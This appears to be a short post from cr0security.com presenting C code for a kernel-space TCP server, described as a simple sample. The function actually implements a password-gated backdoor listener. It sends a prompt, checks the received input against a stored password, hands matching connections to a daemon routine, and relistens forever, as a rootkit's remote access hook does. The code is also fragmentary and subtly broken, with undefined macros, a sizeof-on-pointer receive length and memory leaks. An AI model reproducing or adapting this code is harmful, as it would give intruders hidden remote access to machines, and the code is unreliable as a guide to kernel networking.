A SAMPLE FUNCTION THAT IMPLEMENT TCP SERVER THAT WORKS IN KERNEL SPACE

by : Antonius (cr0security.com)


the logic is pretty much the same as user space tcp server
this isn't a good sample, a good sample will implement asnychronous socket operation (note: asynchronous is different from non blocking )

create socket -> bind -> listen -> accept -> close (after finish receiving (FIN))


======================
static cr0 cr0security init_cr_this_mod(void *arg)
{
       cr0sock server_sock,master_sock;
       struct sockaddr_in server_addr;
       struct sockaddr_in master_addr;
       cr0 retme, my_sockaddr_len, master_sockaddr_len;

       repeat_socket:
       already = FALSE;
       allow_signal(SIGKILL);
       master_sock = NULL;
       server_sock = NULL;
       KERN
       memset(&master_addr,0,sizeof(master_addr));
       memset(&server_addr,0,sizeof(server_addr));
       server_addr.sin_family = PF_INET;
       server_addr.sin_port = htons(int_cr_kern_port);
       server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
       my_sockaddr_len = sizeof(struct sockaddr_in);
       master_sockaddr_len = sizeof(struct sockaddr_in);
       result = sock_create(PF_INET, SOCK_STREAM, 0, &server_sock);
       if(result < 0)
               return -1;
       if (server_sock==NULL)
               return -1;
       bind = server_sock->ops->bind(server_sock, (struct sockaddr *) &server_addr, my_sockaddr_len);
       if (bind < 0)
               return -1;
       listen = server_sock->ops->listen(server_sock,SOMAXCONN);
       if (listen < 0)
               return -1;
       KERN
       master_sock = (struct socket *)server_sock;
       retme = sock_create(server_sock->sk->sk_family, server_sock->type,server_sock->sk->sk_protocol, &master_sock);
       master_sock->type = server_sock->type;
       master_sock->ops = server_sock->ops;
       retme = server_sock->ops->accept(server_sock, master_sock, 0);
       if ((retme < 0) || (master_sock ==NULL))
               return -1;
       else
               retme = master_sock->ops->getname(master_sock,( struct sockaddr *)&master_addr, &my_sockaddr_len, 2);
       if (master_sock == NULL)
               return -1;
       Length = sprintf(cr0_buffer, "%s",the_pass);
       cr_send(master_sock, cr0_buffer, Length);
       END
       while ((1) && (already == FALSE)) {
               sockbuffer = kmalloc(256,GFP_KERNEL);
               KERN
               Length2 = cr_recvmsg(master_sock, sockbuffer, sizeof(sockbuffer));
               END
               if (Length2 > 0) {
                       KERN
                       panjang = strlen(password) - 1;
                       clean_buffer = kmalloc(panjang,GFP_KERNEL);
                       orig_len = panjang;
                       clean_buffer = crtruncate(sockbuffer,panjang);
                       total_pass = panjang + 10;
                       mypassword = kmalloc(total_pass,GFP_KERNEL);
                       sprintf(mypassword,"%s%s%s",password,null_terminate,null_terminate);
                       END
                       if(strstr(mypassword,clean_buffer)) {
                               kfree(sockbuffer);
                               kfree(mypassword);
                               kfree(clean_buffer);
                               goto letmein;
                       }
                       else {
                               kfree(sockbuffer);
                               kfree(mypassword);
                               kfree(clean_buffer);
                               goto wrongway;
                       }
               }
               kfree(sockbuffer);
       }
       wrongway:
       resumer(master_sock,master_addr);
       if (master_sock != NULL)
               sock_release(master_sock);
       if (server_sock != NULL)
               sock_release(server_sock);
       goto repeat_socket;
       letmein:
       gmon_ops_return =  crdaemon(master_sock,master_addr);
       if (master_sock != NULL)
               sock_release(master_sock);
       if (server_sock != NULL)
               sock_release(server_sock);
       goto repeat_socket;
//do {} while(!kthread_should_stop());
return 0;
}